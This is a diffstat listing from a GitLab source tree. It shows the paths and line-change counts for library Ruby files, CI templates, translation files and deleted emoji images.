-rw-r--r--lib/banzai/filter/repository_link_filter.rb2
-rw-r--r--lib/banzai/filter/snippet_reference_filter.rb29
-rw-r--r--lib/banzai/filter/spaced_link_filter.rb2
-rw-r--r--lib/banzai/filter/suggestion_filter.rb2
-rw-r--r--lib/banzai/filter/syntax_highlight_filter.rb2
-rw-r--r--lib/banzai/filter/user_reference_filter.rb180
-rw-r--r--lib/banzai/filter/vulnerability_reference_filter.rb22
-rw-r--r--lib/banzai/filter/wiki_link_filter/rewriter.rb5
-rw-r--r--lib/banzai/pipeline/gfm_pipeline.rb26
-rw-r--r--lib/banzai/pipeline/label_pipeline.rb2
-rw-r--r--lib/banzai/pipeline/single_line_pipeline.rb18
-rw-r--r--lib/banzai/pipeline/wiki_pipeline.rb2
-rw-r--r--lib/bulk_imports/clients/http.rb8
-rw-r--r--lib/bulk_imports/common/extractors/rest_extractor.rb45
-rw-r--r--lib/bulk_imports/common/transformers/user_reference_transformer.rb2
-rw-r--r--lib/bulk_imports/groups/graphql/get_labels_query.rb9
-rw-r--r--lib/bulk_imports/groups/graphql/get_members_query.rb9
-rw-r--r--lib/bulk_imports/groups/graphql/get_milestones_query.rb10
-rw-r--r--lib/bulk_imports/groups/pipelines/badges_pipeline.rb32
-rw-r--r--lib/bulk_imports/groups/pipelines/entity_finisher.rb35
-rw-r--r--lib/bulk_imports/groups/pipelines/labels_pipeline.rb12
-rw-r--r--lib/bulk_imports/groups/pipelines/members_pipeline.rb12
-rw-r--r--lib/bulk_imports/groups/pipelines/milestones_pipeline.rb12
-rw-r--r--lib/bulk_imports/groups/rest/get_badges_query.rb22
-rw-r--r--lib/bulk_imports/importers/group_importer.rb35
-rw-r--r--lib/bulk_imports/pipeline.rb4
-rw-r--r--lib/bulk_imports/pipeline/context.rb22
-rw-r--r--lib/bulk_imports/pipeline/extracted_data.rb7
-rw-r--r--lib/bulk_imports/pipeline/runner.rb42
-rw-r--r--lib/constraints/admin_constrainer.rb2
-rw-r--r--lib/container_registry/config.rb3
-rw-r--r--lib/container_registry/tag.rb3
-rw-r--r--lib/csv_builder.rb2
-rw-r--r--lib/declarative_policy/preferred_scope.rb3
-rw-r--r--lib/error_tracking/sentry_client/issue.rb4
-rw-r--r--lib/feature.rb4
-rw-r--r--lib/feature/active_support_cache_store_adapter.rb27
-rw-r--r--lib/file_size_validator.rb3
-rw-r--r--lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb26
-rw-r--r--lib/generators/gitlab/usage_metric_definition_generator.rb11
-rw-r--r--lib/gitlab.rb11
-rw-r--r--lib/gitlab/alert_management/payload/base.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/records_fetcher.rb54
-rw-r--r--lib/gitlab/analytics/unique_visits.rb4
-rw-r--r--lib/gitlab/application_context.rb7
-rw-r--r--lib/gitlab/auth/auth_finders.rb4
-rw-r--r--lib/gitlab/auth/ldap/adapter.rb2
-rw-r--r--lib/gitlab/auth/saml/origin_validator.rb2
-rw-r--r--lib/gitlab/background_migration/backfill_design_internal_ids.rb4
-rw-r--r--lib/gitlab/background_migration/backfill_project_updated_at_after_repository_storage_move.rb2
-rw-r--r--lib/gitlab/background_migration/copy_column_using_background_migration_job.rb8
-rw-r--r--lib/gitlab/background_migration/copy_merge_request_target_project_to_merge_request_metrics.rb2
-rw-r--r--lib/gitlab/background_migration/fix_projects_without_project_feature.rb2
-rw-r--r--lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb4
-rw-r--r--lib/gitlab/background_migration/fix_user_namespace_names.rb4
-rw-r--r--lib/gitlab/background_migration/fix_user_project_route_names.rb2
-rw-r--r--lib/gitlab/background_migration/migrate_pages_to_zip_storage.rb19
-rw-r--r--lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature.rb2
-rw-r--r--lib/gitlab/background_migration/populate_has_vulnerabilities.rb30
-rw-r--r--lib/gitlab/background_migration/populate_merge_request_assignees_table.rb2
-rw-r--r--lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb2
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_project_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/banzai/reference_parser/isolated_mentioned_user_parser.rb25
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_reference_extractor.rb2
-rw-r--r--lib/gitlab/background_migration/user_mentions/lib/gitlab/isolated_visibility_level.rb60
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb1
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb20
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb4
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb2
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/design_management/design.rb3
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb1
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/epic.rb6
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb1
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/group.rb2
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/merge_request.rb7
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb1
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/namespace.rb15
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/note.rb4
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/project.rb48
-rw-r--r--lib/gitlab/background_migration/user_mentions/models/user.rb37
-rw-r--r--lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer.rb4
-rw-r--r--lib/gitlab/batch_pop_queueing.rb3
-rw-r--r--lib/gitlab/bullet.rb16
-rw-r--r--lib/gitlab/bullet/exclusions.rb37
-rw-r--r--lib/gitlab/cache/ci/project_pipeline_status.rb4
-rw-r--r--lib/gitlab/changelog/config.rb24
-rw-r--r--lib/gitlab/chaos.rb6
-rw-r--r--lib/gitlab/ci/build/artifacts/metadata.rb4
-rw-r--r--lib/gitlab/ci/config.rb10
-rw-r--r--lib/gitlab/ci/config/entry/cache.rb6
-rw-r--r--lib/gitlab/ci/config/entry/processable.rb12
-rw-r--r--lib/gitlab/ci/config/entry/product/variables.rb3
-rw-r--r--lib/gitlab/ci/config/entry/variables.rb4
-rw-r--r--lib/gitlab/ci/config/external/mapper.rb12
-rw-r--r--lib/gitlab/ci/config/normalizer/matrix_strategy.rb5
-rw-r--r--lib/gitlab/ci/features.rb12
-rw-r--r--lib/gitlab/ci/jwt.rb16
-rw-r--r--lib/gitlab/ci/pipeline/chain/command.rb9
-rw-r--r--lib/gitlab/ci/pipeline/chain/config/process.rb1
-rw-r--r--lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb22
-rw-r--r--lib/gitlab/ci/pipeline/chain/helpers.rb22
-rw-r--r--lib/gitlab/ci/pipeline/chain/metrics.rb2
-rw-r--r--lib/gitlab/ci/pipeline/chain/pipeline/process.rb4
-rw-r--r--lib/gitlab/ci/pipeline/chain/seed.rb20
-rw-r--r--lib/gitlab/ci/pipeline/chain/validate/external.rb85
-rw-r--r--lib/gitlab/ci/pipeline/metrics.rb72
-rw-r--r--lib/gitlab/ci/pipeline/seed/build.rb19
-rw-r--r--lib/gitlab/ci/pipeline/seed/context.rb18
-rw-r--r--lib/gitlab/ci/pipeline/seed/pipeline.rb6
-rw-r--r--lib/gitlab/ci/pipeline/seed/stage.rb7
-rw-r--r--lib/gitlab/ci/queue/metrics.rb35
-rw-r--r--lib/gitlab/ci/reports/codequality_reports.rb12
-rw-r--r--lib/gitlab/ci/reports/codequality_reports_comparer.rb5
-rw-r--r--lib/gitlab/ci/reports/test_failure_history.rb18
-rw-r--r--lib/gitlab/ci/runner_instructions.rb31
-rw-r--r--lib/gitlab/ci/status/build/failed.rb4
-rw-r--r--lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml7
-rw-r--r--lib/gitlab/ci/templates/Docker.gitlab-ci.yml42
-rw-r--r--lib/gitlab/ci/templates/Hello-World.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Indeni.Cloudrail.gitlab-ci-.yml91
-rw-r--r--lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml37
-rw-r--r--lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml4
-rw-r--r--lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml1
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml12
-rw-r--r--lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml270
-rw-r--r--lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml41
-rw-r--r--lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml99
-rw-r--r--lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml9
-rw-r--r--lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml25
-rw-r--r--lib/gitlab/ci/trace.rb33
-rw-r--r--lib/gitlab/ci/variables/helpers.rb16
-rw-r--r--lib/gitlab/ci/yaml_processor/result.rb17
-rw-r--r--lib/gitlab/composer/version_index.rb22
-rw-r--r--lib/gitlab/conan_token.rb2
-rw-r--r--lib/gitlab/contributor.rb4
-rw-r--r--lib/gitlab/crypto_helper.rb28
-rw-r--r--lib/gitlab/data_builder/build.rb6
-rw-r--r--lib/gitlab/data_builder/pipeline.rb1
-rw-r--r--lib/gitlab/database/as_with_materialized.rb36
-rw-r--r--lib/gitlab/database/background_migration/batch_metrics.rb33
-rw-r--r--lib/gitlab/database/background_migration/batched_migration.rb20
-rw-r--r--lib/gitlab/database/background_migration/batched_migration_runner.rb88
-rw-r--r--lib/gitlab/database/background_migration/batched_migration_wrapper.rb73
-rw-r--r--lib/gitlab/database/background_migration/scheduler.rb60
-rw-r--r--lib/gitlab/database/batch_count.rb39
-rw-r--r--lib/gitlab/database/bulk_update.rb2
-rw-r--r--lib/gitlab/database/count/reltuples_count_strategy.rb6
-rw-r--r--lib/gitlab/database/loose_index_scan_distinct_count.rb102
-rw-r--r--lib/gitlab/database/migration_helpers.rb160
-rw-r--r--lib/gitlab/database/migrations/background_migration_helpers.rb21
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb74
-rw-r--r--lib/gitlab/database/partitioning_migration_helpers/table_management_helpers.rb32
-rw-r--r--lib/gitlab/database/pg_class.rb23
-rw-r--r--lib/gitlab/database/postgres_hll/batch_distinct_counter.rb31
-rw-r--r--lib/gitlab/database/similarity_score.rb2
-rw-r--r--lib/gitlab/database/unidirectional_copy_trigger.rb97
-rw-r--r--lib/gitlab/diff/highlight.rb106
-rw-r--r--lib/gitlab/diff/highlight_cache.rb7
-rw-r--r--lib/gitlab/diff/inline_diff.rb1
-rw-r--r--lib/gitlab/diff/line.rb25
-rw-r--r--lib/gitlab/diff/suggestions_parser.rb7
-rw-r--r--lib/gitlab/downtime_check.rb73
-rw-r--r--lib/gitlab/downtime_check/message.rb41
-rw-r--r--lib/gitlab/error_tracking.rb10
-rw-r--r--lib/gitlab/error_tracking/processor/context_payload_processor.rb12
-rw-r--r--lib/gitlab/error_tracking/processor/grpc_error_processor.rb166
-rw-r--r--lib/gitlab/error_tracking/processor/sidekiq_processor.rb71
-rw-r--r--lib/gitlab/exclusive_lease.rb4
-rw-r--r--lib/gitlab/experimentation.rb4
-rw-r--r--lib/gitlab/external_authorization/access.rb3
-rw-r--r--lib/gitlab/external_authorization/cache.rb3
-rw-r--r--lib/gitlab/external_authorization/client.rb23
-rw-r--r--lib/gitlab/fogbugz_import/importer.rb6
-rw-r--r--lib/gitlab/git/blame.rb6
-rw-r--r--lib/gitlab/git/commit.rb2
-rw-r--r--lib/gitlab/git/diff_collection.rb49
-rw-r--r--lib/gitlab/git/merge_base.rb3
-rw-r--r--lib/gitlab/git/patches/commit_patches.rb5
-rw-r--r--lib/gitlab/git/repository.rb8
-rw-r--r--lib/gitlab/git/tag.rb4
-rw-r--r--lib/gitlab/git/wiki.rb13
-rw-r--r--lib/gitlab/git/wiki_file.rb24
-rw-r--r--lib/gitlab/git_access.rb5
-rw-r--r--lib/gitlab/gitaly_client.rb2
-rw-r--r--lib/gitlab/gitaly_client/attributes_bag.rb2
-rw-r--r--lib/gitlab/gitaly_client/blob_service.rb47
-rw-r--r--lib/gitlab/gitaly_client/call.rb14
-rw-r--r--lib/gitlab/gitaly_client/commit_service.rb2
-rw-r--r--lib/gitlab/gitaly_client/operation_service.rb2
-rw-r--r--lib/gitlab/gitaly_client/repository_service.rb5
-rw-r--r--lib/gitlab/gitaly_client/storage_settings.rb2
-rw-r--r--lib/gitlab/gitaly_client/wiki_file.rb11
-rw-r--r--lib/gitlab/gitaly_client/wiki_service.rb26
-rw-r--r--lib/gitlab/golang.rb29
-rw-r--r--lib/gitlab/gon_helper.rb2
-rw-r--r--lib/gitlab/grape_logging/loggers/context_logger.rb2
-rw-r--r--lib/gitlab/graphql/authorize.rb15
-rw-r--r--lib/gitlab/graphql/authorize/authorize_field_service.rb147
-rw-r--r--lib/gitlab/graphql/authorize/authorize_resource.rb44
-rw-r--r--lib/gitlab/graphql/authorize/connection_filter_extension.rb65
-rw-r--r--lib/gitlab/graphql/authorize/instrumentation.rb21
-rw-r--r--lib/gitlab/graphql/authorize/object_authorization.rb32
-rw-r--r--lib/gitlab/graphql/deprecation.rb116
-rw-r--r--lib/gitlab/graphql/docs/helper.rb134
-rw-r--r--lib/gitlab/graphql/docs/renderer.rb7
-rw-r--r--lib/gitlab/graphql/docs/templates/default.md.haml18
-rw-r--r--lib/gitlab/graphql/loaders/batch_lfs_oid_loader.rb3
-rw-r--r--lib/gitlab/graphql/loaders/batch_model_loader.rb3
-rw-r--r--lib/gitlab/graphql/loaders/full_path_model_loader.rb3
-rw-r--r--lib/gitlab/graphql/negatable_arguments.rb53
-rw-r--r--lib/gitlab/graphql/pagination/keyset/conditions/base_condition.rb6
-rw-r--r--lib/gitlab/graphql/pagination/keyset/conditions/not_null_condition.rb4
-rw-r--r--lib/gitlab/graphql/pagination/keyset/conditions/null_condition.rb4
-rw-r--r--lib/gitlab/graphql/pagination/keyset/query_builder.rb5
-rw-r--r--lib/gitlab/graphql/queries.rb4
-rw-r--r--lib/gitlab/graphql/query_analyzers/logger_analyzer.rb7
-rw-r--r--lib/gitlab/health_checks/gitaly_check.rb2
-rw-r--r--lib/gitlab/highlight.rb14
-rw-r--r--lib/gitlab/hook_data/user_builder.rb53
-rw-r--r--lib/gitlab/http_connection_adapter.rb14
-rw-r--r--lib/gitlab/import_export/base/relation_factory.rb2
-rw-r--r--lib/gitlab/import_export/project/import_export.yml2
-rw-r--r--lib/gitlab/import_export/uploads_manager.rb2
-rw-r--r--lib/gitlab/import_sources.rb2
-rw-r--r--lib/gitlab/instrumentation_helper.rb18
-rw-r--r--lib/gitlab/issuables_count_for_state.rb2
-rw-r--r--lib/gitlab/jira/dvcs.rb4
-rw-r--r--lib/gitlab/json.rb33
-rw-r--r--lib/gitlab/kas.rb2
-rw-r--r--lib/gitlab/kubernetes/deployment.rb2
-rw-r--r--lib/gitlab/language_detection.rb5
-rw-r--r--lib/gitlab/manifest_import/manifest.rb8
-rw-r--r--lib/gitlab/marker_range.rb6
-rw-r--r--lib/gitlab/markup_helper.rb2
-rw-r--r--lib/gitlab/metrics/background_transaction.rb20
-rw-r--r--lib/gitlab/metrics/dashboard/stages/grafana_formatter.rb8
-rw-r--r--lib/gitlab/metrics/samplers/database_sampler.rb4
-rw-r--r--lib/gitlab/metrics/subscribers/active_record.rb21
-rw-r--r--lib/gitlab/metrics/subscribers/external_http.rb5
-rw-r--r--lib/gitlab/middleware/multipart.rb2
-rw-r--r--lib/gitlab/middleware/rack_multipart_tempfile_factory.rb25
-rw-r--r--lib/gitlab/middleware/same_site_cookies.rb2
-rw-r--r--lib/gitlab/object_hierarchy.rb46
-rw-r--r--lib/gitlab/pages.rb2
-rw-r--r--lib/gitlab/pages/migration_helper.rb53
-rw-r--r--lib/gitlab/pages/settings.rb16
-rw-r--r--lib/gitlab/pages/stores/local_store.rb15
-rw-r--r--lib/gitlab/pages_transfer.rb4
-rw-r--r--lib/gitlab/pagination/keyset/order.rb8
-rw-r--r--lib/gitlab/pagination/offset_header_builder.rb21
-rw-r--r--lib/gitlab/performance_bar/stats.rb15
-rw-r--r--lib/gitlab/phabricator_import.rb2
-rw-r--r--lib/gitlab/phabricator_import/issues/importer.rb3
-rw-r--r--lib/gitlab/phabricator_import/issues/task_importer.rb3
-rw-r--r--lib/gitlab/phabricator_import/project_creator.rb13
-rw-r--r--lib/gitlab/phabricator_import/user_finder.rb3
-rw-r--r--lib/gitlab/project_template.rb6
-rw-r--r--lib/gitlab/prometheus/adapter.rb4
-rw-r--r--lib/gitlab/prometheus/queries/matched_metric_query.rb2
-rw-r--r--lib/gitlab/prometheus_client.rb2
-rw-r--r--lib/gitlab/push_options.rb6
-rw-r--r--lib/gitlab/query_limiting.rb22
-rw-r--r--lib/gitlab/query_limiting/transaction.rb9
-rw-r--r--lib/gitlab/quick_actions/command_definition.rb11
-rw-r--r--lib/gitlab/quick_actions/issue_and_merge_request_actions.rb2
-rw-r--r--lib/gitlab/rack_attack/request.rb6
-rw-r--r--lib/gitlab/regex.rb6
-rw-r--r--lib/gitlab/relative_positioning/closed_range.rb3
-rw-r--r--lib/gitlab/relative_positioning/gap.rb3
-rw-r--r--lib/gitlab/repository_cache_adapter.rb9
-rw-r--r--lib/gitlab/repository_hash_cache.rb2
-rw-r--r--lib/gitlab/repository_set_cache.rb30
-rw-r--r--lib/gitlab/search_context.rb7
-rw-r--r--lib/gitlab/set_cache.rb13
-rw-r--r--lib/gitlab/setup_helper.rb12
-rw-r--r--lib/gitlab/sidekiq_cluster/cli.rb14
-rw-r--r--lib/gitlab/sidekiq_config.rb17
-rw-r--r--lib/gitlab/sidekiq_config/cli_methods.rb90
-rw-r--r--lib/gitlab/sidekiq_config/worker_matcher.rb86
-rw-r--r--lib/gitlab/sidekiq_logging/structured_logger.rb4
-rw-r--r--lib/gitlab/sidekiq_middleware.rb2
-rw-r--r--lib/gitlab/sidekiq_middleware/admin_mode/client.rb3
-rw-r--r--lib/gitlab/sidekiq_middleware/admin_mode/server.rb3
-rw-r--r--lib/gitlab/sidekiq_middleware/instrumentation_logger.rb23
-rw-r--r--lib/gitlab/sidekiq_middleware/metrics_helper.rb15
-rw-r--r--lib/gitlab/sidekiq_middleware/server_metrics.rb47
-rw-r--r--lib/gitlab/sidekiq_queue.rb2
-rw-r--r--lib/gitlab/slash_commands/base_command.rb4
-rw-r--r--lib/gitlab/slash_commands/presenters/issue_new.rb14
-rw-r--r--lib/gitlab/slash_commands/run.rb2
-rw-r--r--lib/gitlab/slug/environment.rb17
-rw-r--r--lib/gitlab/sql/cte.rb11
-rw-r--r--lib/gitlab/sql/recursive_cte.rb6
-rw-r--r--lib/gitlab/sql/set_operator.rb12
-rw-r--r--lib/gitlab/sql/union.rb4
-rw-r--r--lib/gitlab/static_site_editor/config/file_config.rb2
-rw-r--r--lib/gitlab/subscription_portal.rb7
-rw-r--r--lib/gitlab/template/base_template.rb4
-rw-r--r--lib/gitlab/tracking.rb25
-rw-r--r--lib/gitlab/tracking/destinations/snowplow.rb7
-rw-r--r--lib/gitlab/tracking/standard_context.rb13
-rw-r--r--lib/gitlab/untrusted_regexp.rb4
-rw-r--r--lib/gitlab/updated_notes_paginator.rb4
-rw-r--r--lib/gitlab/usage/docs/helper.rb4
-rw-r--r--lib/gitlab/usage/docs/templates/default.md.haml3
-rw-r--r--lib/gitlab/usage/metric_definition.rb32
-rw-r--r--lib/gitlab/usage/metrics/aggregates/aggregate.rb2
-rw-r--r--lib/gitlab/usage/metrics/names_suggestions/generator.rb155
-rw-r--r--lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins.rb74
-rw-r--r--lib/gitlab/usage_data.rb92
-rw-r--r--lib/gitlab/usage_data_counters/aggregated_metrics/code_review.yml108
-rw-r--r--lib/gitlab/usage_data_counters/aggregated_metrics/common.yml72
-rw-r--r--lib/gitlab/usage_data_counters/base_counter.rb4
-rw-r--r--lib/gitlab/usage_data_counters/ci_template_unique_counter.rb4
-rw-r--r--lib/gitlab/usage_data_counters/hll_redis_counter.rb5
-rw-r--r--lib/gitlab/usage_data_counters/issue_activity_unique_counter.rb112
-rw-r--r--lib/gitlab/usage_data_counters/known_events/ci_templates.yml15
-rw-r--r--lib/gitlab/usage_data_counters/known_events/common.yml42
-rw-r--r--lib/gitlab/usage_data_counters/known_events/epic_events.yml142
-rw-r--r--lib/gitlab/usage_data_counters/note_counter.rb6
-rw-r--r--lib/gitlab/usage_data_counters/quick_action_activity_unique_counter.rb2
-rw-r--r--lib/gitlab/usage_data_non_sql_metrics.rb35
-rw-r--r--lib/gitlab/usage_data_queries.rb14
-rw-r--r--lib/gitlab/utils.rb2
-rw-r--r--lib/gitlab/utils/usage_data.rb15
-rw-r--r--lib/gitlab/uuid.rb4
-rw-r--r--lib/gitlab/web_ide/config/entry/terminal.rb18
-rw-r--r--lib/gitlab/word_diff/chunk_collection.rb21
-rw-r--r--lib/gitlab/word_diff/parser.rb2
-rw-r--r--lib/learn_gitlab.rb6
-rw-r--r--lib/peek/views/active_record.rb30
-rw-r--r--lib/rouge/formatters/html_gitlab.rb5
-rw-r--r--lib/spam/concerns/has_spam_action_response_fields.rb9
-rw-r--r--lib/support/nginx/gitlab4
-rw-r--r--lib/support/nginx/gitlab-ssl4
-rw-r--r--lib/system_check/app/git_version_check.rb2
-rw-r--r--lib/system_check/app/redis_version_check.rb4
-rw-r--r--lib/tasks/brakeman.rake13
-rw-r--r--lib/tasks/cache.rake2
-rw-r--r--lib/tasks/db_obsolete_ignored_columns.rake2
-rw-r--r--lib/tasks/downtime_check.rake14
-rw-r--r--lib/tasks/gitlab/db.rake19
-rw-r--r--lib/tasks/gitlab/docs/redirect.rake57
-rw-r--r--lib/tasks/gitlab/gitaly.rake31
-rw-r--r--lib/tasks/gitlab/graphql.rake4
-rw-r--r--lib/tasks/gitlab/pages.rake40
-rw-r--r--lib/tasks/gitlab/test.rake17
-rw-r--r--lib/tasks/spec.rake20
-rw-r--r--lib/tasks/test.rake13
-rw-r--r--locale/am_ET/gitlab.po1813
-rw-r--r--locale/ar_SA/gitlab.po1897
-rw-r--r--locale/as_IN/gitlab.po1813
-rw-r--r--locale/az_AZ/gitlab.po1813
-rw-r--r--locale/ba_RU/gitlab.po1792
-rw-r--r--locale/bg/gitlab.po1813
-rw-r--r--locale/bn_BD/gitlab.po1813
-rw-r--r--locale/bn_IN/gitlab.po1813
-rw-r--r--locale/br_FR/gitlab.po1876
-rw-r--r--locale/bs_BA/gitlab.po1836
-rw-r--r--locale/ca_ES/gitlab.po1813
-rw-r--r--locale/cs_CZ/gitlab.po1855
-rw-r--r--locale/cy_GB/gitlab.po1897
-rw-r--r--locale/da_DK/gitlab.po1813
-rw-r--r--locale/de/gitlab.po1859
-rw-r--r--locale/el_GR/gitlab.po1813
-rw-r--r--locale/eo/gitlab.po1813
-rw-r--r--locale/es/gitlab.po1913
-rw-r--r--locale/et_EE/gitlab.po1813
-rw-r--r--locale/fa_IR/gitlab.po1813
-rw-r--r--locale/fi_FI/gitlab.po1813
-rw-r--r--locale/fil_PH/gitlab.po1813
-rw-r--r--locale/fr/gitlab.po1841
-rw-r--r--locale/gitlab.pot2711
-rw-r--r--locale/gl_ES/gitlab.po1813
-rw-r--r--locale/he_IL/gitlab.po1855
-rw-r--r--locale/hi_IN/gitlab.po1813
-rw-r--r--locale/hr_HR/gitlab.po1834
-rw-r--r--locale/hu_HU/gitlab.po1813
-rw-r--r--locale/hy_AM/gitlab.po1813
-rw-r--r--locale/id_ID/gitlab.po1792
-rw-r--r--locale/ig_NG/gitlab.po1792
-rw-r--r--locale/is_IS/gitlab.po1813
-rw-r--r--locale/it/gitlab.po1813
-rw-r--r--locale/ja/gitlab.po1920
-rw-r--r--locale/ka_GE/gitlab.po1813
-rw-r--r--locale/kab/gitlab.po1813
-rw-r--r--locale/ko/gitlab.po1822
-rw-r--r--locale/ku_TR/gitlab.po1813
-rw-r--r--locale/ky_KG/gitlab.po1813
-rw-r--r--locale/lt_LT/gitlab.po1855
-rw-r--r--locale/mk_MK/gitlab.po1813
-rw-r--r--locale/mn_MN/gitlab.po1813
-rw-r--r--locale/nb_NO/gitlab.po1883
-rw-r--r--locale/nl_NL/gitlab.po1813
-rw-r--r--locale/pa_IN/gitlab.po1813
-rw-r--r--locale/pl_PL/gitlab.po1855
-rw-r--r--locale/pt_BR/gitlab.po1879
-rw-r--r--locale/pt_PT/gitlab.po1821
-rw-r--r--locale/ro_RO/gitlab.po1834
-rw-r--r--locale/ru/gitlab.po1997
-rw-r--r--locale/si_LK/gitlab.po1813
-rw-r--r--locale/sk_SK/gitlab.po1855
-rw-r--r--locale/sl_SI/gitlab.po1855
-rw-r--r--locale/sq_AL/gitlab.po1813
-rw-r--r--locale/sr_CS/gitlab.po1834
-rw-r--r--locale/sr_SP/gitlab.po1834
-rw-r--r--locale/sv_SE/gitlab.po1813
-rw-r--r--locale/sw_KE/gitlab.po1813
-rw-r--r--locale/ta_IN/gitlab.po37241
-rw-r--r--locale/tr_TR/gitlab.po1969
-rw-r--r--locale/uk/gitlab.po1969
-rw-r--r--locale/ur_PK/gitlab.po1813
-rw-r--r--locale/uz_UZ/gitlab.po1813
-rw-r--r--locale/vi_VN/gitlab.po1792
-rw-r--r--locale/zh_CN/gitlab.po1984
-rw-r--r--locale/zh_HK/gitlab.po1794
-rw-r--r--locale/zh_TW/gitlab.po1792
-rw-r--r--package.json39
-rw-r--r--public/-/emojis/2/100.pngbin959 -> 0 bytes
-rw-r--r--public/-/emojis/2/1234.pngbin788 -> 0 bytes
-rw-r--r--public/-/emojis/2/1f3cf.pngbin468 -> 0 bytes
-rw-r--r--public/-/emojis/2/1f468-1f469-1f466.pngbin1230 -> 0 bytes
-rw-r--r--public/-/emojis/2/1f469-2764-1f468.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/1f5fe.pngbin507 -> 0 bytes
-rw-r--r--public/-/emojis/2/1f983.pngbin1343 -> 0 bytes
-rw-r--r--public/-/emojis/2/26f9-1f3fb.pngbin1116 -> 0 bytes
-rw-r--r--public/-/emojis/2/26f9-1f3fc.pngbin1056 -> 0 bytes
-rw-r--r--public/-/emojis/2/26f9-1f3fd.pngbin996 -> 0 bytes
-rw-r--r--public/-/emojis/2/26f9-1f3fe.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/26f9-1f3ff.pngbin1013 -> 0 bytes
-rw-r--r--public/-/emojis/2/8ball.pngbin819 -> 0 bytes
-rw-r--r--public/-/emojis/2/a.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/ab.pngbin622 -> 0 bytes
-rw-r--r--public/-/emojis/2/abacus.pngbin1091 -> 0 bytes
-rw-r--r--public/-/emojis/2/abc.pngbin593 -> 0 bytes
-rw-r--r--public/-/emojis/2/abcd.pngbin737 -> 0 bytes
-rw-r--r--public/-/emojis/2/accept.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult_tone1.pngbin900 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult_tone2.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult_tone3.pngbin857 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult_tone4.pngbin854 -> 0 bytes
-rw-r--r--public/-/emojis/2/adult_tone5.pngbin751 -> 0 bytes
-rw-r--r--public/-/emojis/2/aerial_tramway.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/airplane.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/airplane_arriving.pngbin558 -> 0 bytes
-rw-r--r--public/-/emojis/2/airplane_departure.pngbin610 -> 0 bytes
-rw-r--r--public/-/emojis/2/airplane_small.pngbin719 -> 0 bytes
-rw-r--r--public/-/emojis/2/alarm_clock.pngbin1122 -> 0 bytes
-rw-r--r--public/-/emojis/2/alembic.pngbin740 -> 0 bytes
-rw-r--r--public/-/emojis/2/alien.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/ambulance.pngbin748 -> 0 bytes
-rw-r--r--public/-/emojis/2/amphora.pngbin875 -> 0 bytes
-rw-r--r--public/-/emojis/2/anchor.pngbin742 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel.pngbin1031 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel_tone1.pngbin992 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel_tone2.pngbin1012 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel_tone3.pngbin973 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel_tone4.pngbin929 -> 0 bytes
-rw-r--r--public/-/emojis/2/angel_tone5.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/anger.pngbin636 -> 0 bytes
-rw-r--r--public/-/emojis/2/anger_right.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/angry.pngbin639 -> 0 bytes
-rw-r--r--public/-/emojis/2/anguished.pngbin793 -> 0 bytes
-rw-r--r--public/-/emojis/2/ant.pngbin777 -> 0 bytes
-rw-r--r--public/-/emojis/2/apple.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/aquarius.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/aries.pngbin671 -> 0 bytes
